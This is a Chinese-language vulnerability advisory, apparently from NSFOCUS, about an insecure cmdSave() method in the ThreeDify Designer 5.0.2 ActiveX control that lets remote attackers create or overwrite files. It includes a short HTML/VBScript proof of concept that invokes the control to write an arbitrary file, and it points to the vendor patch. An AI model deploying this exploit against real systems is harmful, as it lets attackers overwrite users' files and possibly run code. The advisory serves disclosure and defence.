安全研究
安全漏洞
ThreeDify Designer ActiveX Control "cmdSave()"不安全方法漏洞
发布日期：2011-08-05
更新日期：2011-08-05
受影响系统：ThreeDify Designer ThreeDify Designer 5.0.2
描述：
BUGTRAQ ID:
49020
ThreeDify是3D建模、查看和标记应用程序，可使3D和3D CAD可视化变得简单容易。
ThreeDify在Designer ActiveX控件"cmdSave()"的实现上存在不安全方法漏洞，远程攻击者可利用此漏洞在受影响应用程序中创建或覆盖文件，可能以用户级别的权限执行任意代码。
ThreeDify.ThreeDifyDesigner.1 (ActiveSolid.dll) 中的"cmdSave()"方法不安全，可被利用以当前用户权限创建或覆盖任意文件。
<*来源：High-Tech Bridge SA （
http://www.htbridge.ch/）
链接：
http://www.htbridge.ch/advisory/threedify_designer_activex_control_insecure_method.html
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
<html>
<object classid='clsid:32B165C1-AD31-11D5-8889-0010A4C62D06' id='target' /></object>
<input language=VBScript onclick=Boom() type=button value="Exploit">
<script language = 'vbscript'>
Sub Boom()
arg1="FilePath\Filename_to_create_or_to_overwrite"
target.cmdSave arg1
End Sub
</script>
</html>
建议：
厂商补丁：
ThreeDify Designer
------------------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：
http://www.threedify.com/en/lightweight-3d/ms-office-add-ins/cad浏览次数：2051
严重程度：0（网友投票）
本安全漏洞由绿盟科技翻译整理，版权所有，未经许可，不得转载
绿盟科技给您安全的保障 |
